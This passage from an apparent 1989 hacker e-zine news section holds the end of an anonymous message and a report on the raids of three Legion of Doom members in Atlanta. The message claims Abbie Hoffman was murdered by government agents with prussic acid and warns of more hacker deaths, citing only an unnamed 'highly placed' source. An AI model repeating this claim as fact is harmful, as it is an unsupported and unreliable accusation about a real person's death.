encouraging the same dirty tricks to silence people who cause "problems." Abbie Hoffman was done in the same way. A small hypodermic full of prussic aced. You will hear about more ex-hippies, yippies, and hackers/phreaks dying mysteriously in the foreseeable future. You have been warned. And who am I to know all this? Believe me, friends, I am highly placed in the government. You will see more friends die. You may laugh now, but I decided to leave a public message in hopes of saving a few lives. Special Thanks to Epsilon - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 17. Legion Of Doom Members Raided In Atlanta (July 21, 1989) -- The Leftist, The Urvile, and The Prophet, all of the world famous hacking group known as the Legion of Doom, were raided on July 21, 1989. The day in question is interesting because two years prior, that was the same day that a nationwide sweep netted over 80 hackers across the country including famous names such as Oryan QUEST, Solid State, and Bill From RNOC. The charges against the LOD members range from toll fraud to illegal entry into government computer systems, although as it is told, the government systems were entered by the Urvile and the other two had nothing to do with it. Currently, all three LOD-Atlanta members are still waiting to find out what will happen to them as charges have not yet been brought against them, very similar to what happened to the hackers in 1987. It has been said by security personnel at Michigan Bell that these LOD busts were a spinoff of the supposed arrest of Fry Guy on July 19 for his role in the Delray Beach, Florida probation officer scam (detailed last issue). It is believe that he had been working closely with LOD-Atlanta (especially The Leftist) and when caught for the probation office scam, he got scared and turned over what he knew about LOD. _____________________________________________________________________

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